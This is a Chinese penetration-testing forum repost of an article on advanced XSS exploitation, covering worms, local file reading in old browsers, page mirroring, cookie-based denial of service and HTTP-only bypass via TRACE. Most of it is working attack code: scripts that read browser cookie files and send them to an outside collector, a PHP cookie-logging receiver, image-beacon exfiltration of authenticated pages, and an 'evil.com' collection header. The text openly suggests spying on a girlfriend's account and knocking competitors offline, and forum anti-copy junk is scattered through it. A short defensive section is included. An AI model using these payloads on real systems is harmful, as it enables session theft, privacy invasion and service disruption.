中国网络渗透测试联盟

标题: XSS的高级利用部分总结 -蠕虫 [打印本页]

---

作者: admin    时间: 2012-9-13 17:13
标题: XSS的高级利用部分总结 -蠕虫
XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

/ n; _1 p& `+ R/ LXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
5 A6 p/ h7 A1 g- P  VBy racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
, ?3 c$ c7 Z9 v转帖请保留版权
+ }3 O& {$ L7 T: n, f& {+ A


-------------------------------------------前言---------------------------------------------------------

7 w( ]6 q+ Y3 z1 |% j+ Z
: o2 \& Q/ ], O! A. F4 n0 {- `本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

, w5 p9 {2 A7 J, y8 x$ Y# G) f
如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
( o9 N  s+ v1 [/ t! T! ghttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
9 ~2 h; Z$ ^" C+ ?* Ehttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
, I1 n. m& P' a2 f) q& chttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
9 T$ q! c" M% u2 D7 G9 [* {
  N, T$ A4 r- R% _7 |2 M
$ S0 S- o/ h% f

8 ^$ w2 N* S  e3 m如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
  u) ~  m8 S5 ?5 S; _* V4 B
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

. w8 A, E- [8 I: S/ RBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
9 I8 v* v- L! R0 c/ f6 P
QQ ZONE,校内网XSS     感染过万QQ ZONE.
9 Y$ |6 L! s( e& H% f! }) c* [
) V" O% w* L! n# ^/ COWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

/ y; L& e) r4 y+ q8 b# [2 ?5 U( m..........
复制代码------------------------------------------介绍-------------------------------------------------------------

4 j3 M- l: v4 t3 b4 [什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.



跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
* o! \, l( e" w7 l1 m) e
( A; {9 Q5 G  g! W; k, n  ^% E
& z, a3 g1 r, k1 ~3 X/ _! M
) }, c/ ]% [. X如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

" d5 o6 W! O+ r( S' m9 B1        通过XSS,我们能实现什么?
: s% ?& H- {0 S
0 u3 S2 n: _- O" M! U2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
4 M  e( {# y( }" A0 E
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
6 Z+ y; ~* B, D: {! q. U' B" j
4        XSS漏洞在输出和输入两个方面怎么才能避免.
" B$ E9 h  n! G
* V+ R6 B" V* ?/ t7 ~; q

8 n  C0 }+ e3 s! S* B, q/ O9 B------------------------------------------研究正题----------------------------------------------------------
9 W, _/ [/ ]+ M# B( f

+ h6 C0 C" [3 |
0 i" `5 W( Y: b# `' K通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
3 q% h6 {/ ?) s复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
% ]. ^$ K3 p( s0 D1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2 L" O6 a6 I- A3 E% j. ~2 G( }2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
  E! P4 ]- s) W3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
/ [1 X/ u/ D4 ~; T6 `$ A: ?$ y; I4:Http-only可以采用作为COOKIES保护方式之一.





* m' S) o  o( |: I  O8 Q3 T( d(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
7 W1 z! N! U( |  y( D7 V8 T

6 p% y$ E: h) U- D1 S) P" O5 x- ^
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
$ s0 q6 A4 b. f& A
7 U+ \+ {3 u5 `- `
5 r) y: K- }  J' K0 X& ]) M5 S
    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
  E$ v& M( ^6 K0 o8 t! K' u, K& R2 F
3 n; h& V& t9 u# c& |
+ v: f) O, V1 `- O6 X
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}
! p! O) z/ |' O

0 Z8 f$ S9 m; I4 p, m. r. L1 r
& f4 x, ~) e' k) k% E3 B9 O- V    function ajax_obj(){
4 W( `6 @8 K2 B$ r, s! b
    var request = false;

# |: L4 d* A# t0 b( U: C    if(window.XMLHttpRequest) {
5 p$ ^: _1 l1 q- A: Z
# A: V  K, `1 l' R0 ]    request = new XMLHttpRequest();

; y( I6 O7 G8 R& T  `6 P% I    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



: q, e2 ^" [' i" v    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
$ ?$ s# g$ A! b3 {' o- f
    for(var i=0; i<versions.length; i++) {
& x1 q% Y; t; q/ G7 _
' j; P8 W3 ?  l6 `0 F) i    try {
' a' T; }3 E8 {' n( F6 ~9 I
+ ?. |8 v  c& m: ?$ i0 r    request = new ActiveXObject(versions);
8 Q6 f5 B5 c& w- r) H
    } catch(e) {}
8 a1 u0 `+ [- }0 {" V/ F6 f
    }

    }
" w. F* j  N, Q- t- p% u
    return request;

) L7 h0 q7 s) s' q1 F    }

2 f; j9 w, _% L9 R5 ]8 b    var _x = ajax_obj();

    function _7or3(_m,action,argv){
, G  d( U3 p/ k1 q; |- H( z
    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

  J+ N3 e! S8 g: S! W$ a4 Q8 D    return _x.responseText;
; ?1 O$ s/ h9 ]) V6 S* @
    }
4 F( i& y" Q& s) j0 f3 ]

$ J  x$ {, @, G: v9 ?  u
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
4 f0 R" y, y- S4 r" P6 }  L4 |
" }+ _8 X4 v9 b: n  S3 r    alert(txt);
" g3 R. b7 }; I+ `7 s9 x


    </script>
6 c$ k5 U) {# }. o复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

6 j) ?7 V! m% {1 G4 O4 I3 R' p9 ~# R    function $(x){return document.getElementById(x)}
) v8 `7 w1 H+ ^+ G( b

, \& w0 z8 `  L3 d9 q8 A& f
; W9 H6 I& C) ~' q- u    function ajax_obj(){
. n. h. B+ w/ ~) U$ p" L
    var request = false;
9 D+ I0 m5 i% x7 x# F8 E  A
* n. N' c: w; ^0 A    if(window.XMLHttpRequest) {

* C# Z3 Z% q- v/ E7 l: t    request = new XMLHttpRequest();
. O- X6 h! I7 D7 e* u
" ~  H: t, u" ?  }    } else if(window.ActiveXObject) {

$ _- n8 I2 J" l9 w* q: _+ {" I0 R    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


/ Q8 B! i0 c! \- m0 K. g
& c6 C7 n3 t% \    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
6 S9 y* h; [; u3 Z$ P% m
    for(var i=0; i<versions.length; i++) {

    try {

    request = new ActiveXObject(versions);

    } catch(e) {}

: c$ t) [: W% I4 {' ~; V  g$ C    }

; [) H' R/ [5 w) n+ ?, [& p    }
# Z$ L' y( m7 w+ o- T
    return request;

: E; [" L  a! d: D) I. Q    }

* i6 f0 S1 W1 z/ @    var _x = ajax_obj();
/ o& p. }" g: X/ r) R7 ~; y( v$ y
. W  Y( B( ]! q6 s    function _7or3(_m,action,argv){
/ e* d' Y4 ?) N; l; a# i% q4 ^
    _x.open(_m,action,false);
( b1 A& C. ?6 G/ \/ h
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
4 q. |  d7 q$ v8 Y: G* Y
    _x.send(argv);
* e$ t$ u: }0 ]6 x/ N
3 R4 `; t) r+ ?6 \. ~; ^    return _x.responseText;
: ]* U, q4 E) O: U. O9 ~* y6 k
    }
* u* N' W5 s! k* }* W
0 F0 T8 J- ]2 N" ~

0 n' q1 ^" E& X- X! V    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);

( W6 [$ S; X% g+ }

" C2 F2 Z" M6 v$ v    </script>
( ?& J' [; k5 H& r) S- z复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

7 ?1 _9 g  h# W  ?) X4 }
/ Y+ T, c% S' s
+ c* V9 H1 W' u* B$ XChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
9 x% P% g+ a6 Z4 B9 q


<?   

: t: S+ o  b1 i3 y9 q5 Y$ m/*  
9 b) \4 _# U) F! ~
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
+ o4 F- s- U6 F0 n' Q3 X, y6 R8 _
     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   

2 r( r3 M% c4 Z' @/ M' k: T/ @, v     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
3 A" Z) u3 G# P# _2 b
*/  

* X" F  r2 \8 M. m9 K8 Sheader("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   
2 o" r( D# r" X( v5 ^$ z- l
/*  
9 a4 m/ Z5 g: g6 n: Z6 d9 b% s; {
     set header, so just download html file,and open it at local.  
$ u3 g, Y$ ^8 Z+ n, e
*/  

?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
( I, r4 \& Z/ {& J+ T4 P; V
     <input id="input" name="cookie" value="" type="hidden">   

9 p6 o8 F/ @, P1 U3 z</form>   

<script>   

function doMyAjax(user)   
( {& }: o7 b) {6 I5 y4 f, E' T
{   

; W6 |& a/ q: l4 l- U3 D5 [6 @* wvar time = Math.random();   

/*  
/ ^2 N) B5 m/ J* f* ]
- l+ |, o" N, v9 a$ ^9 L6 Q3 D: t$ Wthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
) s3 A, i6 y$ T
/ G, G5 L; \. o. a9 R  i; T) Nand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  

7 F# s- I* L; \/ ^# x" `, v*/  

  r0 \/ e6 `3 q& Z# X( Yvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
% d8 N2 [: O% G
   

4 \$ w  C6 i( R5 ]7 F6 {' {4 ostartRequest(strPer);   
0 @4 _* c, c& C( A# H

3 P5 p# P) o7 b2 c1 a) c
' W/ {$ s- p7 }  @2 V! E, r}   

) d3 \4 [  X! U9 h6 }8 u, Y' K   
; M' s  ~; t9 p+ \: u3 A
function Enshellcode(txt)   
2 s! h0 O# R: z* B: w
3 R) \' s$ c9 x. `{   

4 r) D' w) L# {, W) V- k( qvar url=new String(txt);   

var i=0,l=0,k=0,curl="";   

l= url.length;   

+ _. Z  l. B& g% {! N) N! E* ]for(;i<l;i++){   

k=url.charCodeAt(i);   
$ a& t  l+ ?2 I) H
7 M$ D; s! _7 C( g1 Wif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   

0 L# v3 G5 C1 Vcurl=curl.replace(/(..)(..)/g,"%u$2$1");   
) {0 u8 s4 l) G/ V) Z7 p2 S) P
return curl;   

% {+ \/ t2 x9 z6 D7 k, j}   

   
* Z4 l0 j6 s+ A1 ~5 A- \
  R5 c+ h: l; ~& ]! n1 k# K   

var xmlHttp;   

$ b5 o9 s$ ?) Ifunction createXMLHttp(){   

     if(window.XMLHttpRequest){   
) m! w( V, Z4 W
xmlHttp = new XMLHttpRequest();           

9 ]+ {) m. e! G) [  y3 z5 P5 \: W9 h7 D) N     }   
* L2 I* p: L3 e9 e  ?& Y9 p
& F% w( M4 K0 b9 K5 W  z     else if(window.ActiveXObject){   
  X! g: g: z; M% o" e1 }: w# e
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

0 C7 O2 {7 k/ h/ E. g     }   
% o$ ^. f1 w% C7 X% j
}   

6 x  h9 I* C1 i5 E   
3 G2 {; m/ ^' O( ?  \  X
0 a. s: _' ^8 m, m7 e( efunction startRequest(doUrl){   

- u5 Q  E; J+ A& @, M   
; H+ H! V7 z$ h8 B, x. y6 y
! R, R; Y% i4 N4 k! V1 Q8 y     createXMLHttp();   


7 S/ z1 ?9 L4 s
     xmlHttp.onreadystatechange = handleStateChange;   
. |# l9 [: u# v; G

1 l  D4 y' B! ~/ O
     xmlHttp.open("GET", doUrl, true);   
  Z6 z4 k: u; \( I


( j6 {/ c1 d6 x+ A5 i  y0 z     xmlHttp.send(null);   
# j) Z- ^  X: d( ]& u" ?- r
0 J: H# P4 M- o' R; Q8 ~
* E6 t4 o( O' a3 r7 C( H


% ?6 M+ J1 m3 ?" u0 e0 x7 s, x% O" H* X}   

   
  R+ A. v5 K: [( S
function handleStateChange(){   

# U, X& U( m: @/ l: F' y& K" Y     if (xmlHttp.readyState == 4 ){   

+ C, D- u7 @6 d. ~# h6 S     var strResponse = "";   

     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
" n4 {: y. ?% v0 W# p7 n8 r
- @- o7 ~! Z% a( A3 `        

. l) f! D& v0 _     }   

( _9 Q2 ?2 J2 \9 I% r}   

; H' j" g9 w% I  J1 g   

   
+ a/ A) A$ V& `: H! i2 N
8 r& m" ~% m" |& y9 n6 Bfunction framekxlzxPost(text)   

( y3 ^% w3 t, H+ y4 e{   

/ \4 l( y5 X+ |2 \; ~6 W. r! A     document.getElementById("input").value = Enshellcode(text);   
; J- |' s/ q7 i) O9 \" n- Y
6 D2 V  T2 j+ x, |6 w. a     document.getElementById("form").submit();   

' g+ w7 d1 n6 i' [}   
0 V  a3 D* j: L* k( |
   
! d, Q1 h2 s, t, K! {
# P) @% M9 Z) V3 t( GdoMyAjax("administrator");   

   
( W' G' k) N" d9 ]
) d. E" ~/ v: w1 |; ?</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
/ U  V0 c; o, u7 u$ K- w  F' J
var xmlHttp;  

+ o' {% ~8 e1 ^2 y/ dfunction createXMLHttp(){  
8 U5 F* f6 w* E4 B3 w4 S2 F
/ n4 j  R7 P! q( {& z' X) d5 Z" e) \     if(window.XMLHttpRequest){  
. {/ W/ e, s. M
2 c: w! F8 m; O3 S: n2 b  x$ {         xmlHttp = new XMLHttpRequest();         
7 v& W' E) q( y2 ~/ G4 m
, A: T0 a5 j; q3 _) G$ g     }  

     else if(window.ActiveXObject){  
4 ^- c% U( Q1 ^# X' o0 ^7 Q0 T
- I6 n3 y8 N# }$ R3 f         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
7 b& |0 W; Q: E1 }
. j- W+ ^# k' k0 J     }  

}  
, |. M' W$ s, `* h& L
   

) I7 `3 Q2 O5 U6 g9 a& V) F& z% xfunction startRequest(doUrl){  
! ^7 M5 s' x, P/ p# {: I  w5 e
4 ^# k, x; W. [6 i           

/ @% w1 a1 d/ @) p# R     createXMLHttp();  
% s2 W! `( o9 V3 H: ?
/ K' W1 y0 Y" Z4 l      

     xmlHttp.onreadystatechange = handleStateChange;  
: r4 _  v7 s" x/ O
      

     xmlHttp.open("GET", doUrl, true);  

      

9 V0 ?" l- \8 Y0 J* O8 m     xmlHttp.send(null);  
, ~6 {/ y/ `1 o# h, d
      

, z& A3 w5 S% u$ W0 m% r      

4 O; x& x* y: h8 z}   
. e; h* c9 L. F4 H
% N, K  g3 J* ~; O; C   
8 B* c9 _( q7 H% s7 v9 j
function handleStateChange(){  
) {- t! s' s$ [" d; o. G
     if (xmlHttp.readyState == 4 ){  

  f, E6 D+ g9 n) q! f" R: c             var strResponse = "";  
9 m' u. |/ b$ ~9 U4 y2 N- {
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

8 o5 r1 Y% |6 J5 r               
; o" l& E4 g, T; |& E
     }  

}  

7 _. [8 y% h1 p" U1 f4 j   
* V  Y# k2 c: P+ K3 u) H3 X
function doMyAjax(user,file)  

, r! a5 z0 p" }, A6 k# R{  

         var time = Math.random();  

           

         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

9 t  Z) x7 X3 Q* N8 _8 d           
- L" K% I( y, \: K% J- E+ @# N% m6 E
         startRequest(strPer);  

4 ^- ~+ F! R/ q1 y8 o      
9 h* o+ }7 f" p9 S
( z2 _  E: s/ p8 w, V}  

1 B7 P" K2 E/ D7 \   
4 [' u  b6 p" t9 V9 a2 {/ B7 }
3 O& z6 I! ~, c  t( Qfunction framekxlzxPost(text)  

{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
" B; P/ u: t' d# @& f# t/ U
     alert(/ok/);  

9 P1 C7 ^$ V/ z* A4 {}  
3 b- n5 s# u/ c+ Y; B2 h
0 z4 f2 j+ k' ]+ Y$ e7 O   

7 f4 H1 M0 ?1 j* w; Z# F4 V0 V% _doMyAjax('administrator','administrator@alibaba[1].txt');  
, o) |: N9 C+ ^: K+ S' B
   

( d0 ^+ Q0 w2 ^3 c& J</script>
: p* o  ]: {5 e7 S* k  b# H


3 m/ q6 _. ^6 C* z! p' B4 V* \; L
7 f) m  x6 ^% H4 n# r" g/ I* U
a.php
/ Q' b4 }4 g2 t$ v

) f4 i, n+ F% c1 b: m1 G
7 p4 r4 k9 s  e) c; z% V, e<?php      
4 X2 M8 O+ v  W/ w; Z* r7 R
# P) l# W1 M5 A) Y$ b% I/ @   
* P) w* b. @% w$ |, u" @
/ [. ~2 Z) [* E9 d) {5 n- ~2 J$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
" ?0 Y8 k) z6 ~, j' d4 w5 p
& [2 T: u; H7 f" k  a& s3 y3 J$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
- q/ T" _: D' r) l* |
  
: W! }" c7 L0 E+ ^" k
, ?+ M  h6 _7 F& n$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

9 z- Q8 b) C5 P% Z: p1 A: Q  ~fwrite($fp,$_GET["cookie"]);      
) G2 y9 l* W" B  _+ c, D! z1 a
$ e* {* ?* _" h+ o! Y' Rfclose($fp);   
+ r% N6 P6 l  {7 ~% p: b# w3 Y
& K$ _$ ^8 {$ K4 C% P/ _?>
" t! w: M! c9 I7 W4 M8 o复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

* H; A, g4 }3 r% z或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
- n0 G2 @6 j0 U2 r- E3 `
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

" h* y1 Q9 e' ]: Tfunction getURL(s) {
! f* X+ L3 E4 |9 @7 @
var image = new Image();
; R) z! P( \  a  L
image.style.width = 0;
: P5 K  }* g; d- d3 o! T
image.style.height = 0;

image.src = s;
6 P7 K* U& f1 P- Q
0 E1 ]/ _5 C; T" s+ u# f}

% v4 R. s/ W; M7 e0 T5 Q& S& mgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
5 i) m: [, b+ H0 N+ l复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A
+ R7 k  Y' ?" G. {
6 b6 d% r: b3 i0 x- Z# nvar str = "";
: B$ [4 i! ?% Y( W) @( n! [! C
while (str.length < 4000){

    str += metastr;
3 U8 t9 R3 P) M# N2 F% m1 V
' h) g8 s' k& E" B}


# G4 h2 ^+ P9 _' ]* c# ]
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>
6 `8 i* B+ Z, n4 F. ^% Z$ p0 a( r
  e% o. {, x2 S" |  G# \- K& i详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
" z) J. _  E' b复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
+ G; U  i6 j( J% j! Eserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

, O# b! K- k/ b假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.





6 I6 B) J0 F0 W. s4 {* f5 P$ m
5 e+ T3 n8 R0 {  d1 d! |6 ?. m(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
$ Z1 l' G4 k5 j" I以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
, ^4 r4 h7 ?1 f" p
<!--

function normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);
) _2 L8 ^3 T3 y9 z* g- {; ^& a
}
" c4 n$ y/ v# c! w' T
5 Z& ~. y! C' T, a1 M9 P! k, T

5 a& o0 H0 r: W. x4 c

2 r9 k# I6 J+ z4 ?function httpOnlyCookie() {
- B7 S  U% D9 D5 f& K+ S1 e& p
% q$ a/ [7 |+ W# e+ ~1 Ldocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

alert(document.cookie);}
3 B/ T% r1 j& [" c

3 i2 \. \. C2 i' T
//-->

</script>
+ D" `& n" o- a( `/ `% y

* I2 a' s% m& I
6 F: a) A; ^* E9 H% U<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
- f7 h5 P+ M4 }6 ]  ?2 f
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
. Y) t  [1 ~# U& S* k复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
, [1 J/ K) p- C& |- b


$ b2 @7 w) i" J8 E3 V9 W' ]var request = false;

        if(window.XMLHttpRequest) {
* T% n3 r$ J6 [
- x4 G! K) J' G! ^$ d# T            request = new XMLHttpRequest();

            if(request.overrideMimeType) {

8 c" }. m: K' m9 C8 i; f; S                request.overrideMimeType('text/xml');
( x, _4 k/ v8 F0 B+ g: V, A
, k5 r3 b% l- V# M5 l3 h5 Y            }
. |( }( V* L+ h8 p: J, b4 T
        } else if(window.ActiveXObject) {
9 s9 G; K% l% s: e; \3 E9 D: ]- C
            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

( X7 a9 O) l  [" d  e4 d9 l" w            for(var i=0; i<versions.length; i++) {

                try {

( |* j1 w3 [4 o. W/ f+ V2 Z8 P                    request = new ActiveXObject(versions);

                } catch(e) {}
  C/ J$ \/ ]( M0 ~
            }

        }

xmlHttp=request;
: F* o" u- B1 |2 ?% e* q
xmlHttp.open("TRACE","http://www.vul.com",false);
( J2 z6 a3 I- f+ q, k& X* z4 N
xmlHttp.send(null);

) i- L- c6 P1 _, V0 [' RxmlDoc=xmlHttp.responseText;

alert(xmlDoc);

9 g& _5 z  u2 r4 r</script>
; L/ w5 w  \- {4 B2 W& {复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
4 {) A. k( j1 W' Q1 W6 G
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

2 ?7 U9 l, G* G2 u0 m' V( {& VXmlHttp.open("GET","http://www.google.com",false);

5 b* }. M1 M8 y% d+ W0 @- k3 s9 i& _XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

8 W# i4 y" ?1 c* q  M$ e! }' GXmlHttp.send(null);
* F. F; h$ y/ U
4 J# p% `/ D% ?! r; ovar resource=xmlHttp.responseText
7 D" E1 `* G3 ~" ^7 ?9 {% u  w
- P# o/ f% P" @( Gresource.search(/cookies/);

# b! V: g7 \) Z5 k" n......................

" E) P# o- u! ?8 S) E' B0 v</script>
3 y  q! a6 ^5 \- |7 [

0 C1 u, a( @* x( P5 h
0 d; P# }$ G2 C" M

如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

[code]
' z8 a1 B7 s5 l. g8 h
RewriteEngine On

9 f! B+ }% M7 N* c* ERewriteCond %{REQUEST_METHOD} ^TRACE
1 h) t/ I; E. p6 |1 S8 l9 j8 J8 A3 Y" H
& Z$ f/ R  }: CRewriteRule .* - [F]


* ~. g: ^5 M6 Y
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
6 f# m. W% A& E, A7 y  M
acl TRACE method TRACE
& `2 ?! Q+ X3 a' |
& A. H" Q8 V/ F1 z/ {' T...

http_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

$ U# m) |1 g2 C, |/ [XmlHttp.open("GET","http://www.google.com",false);
4 f9 A0 C; u0 P8 X, b
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
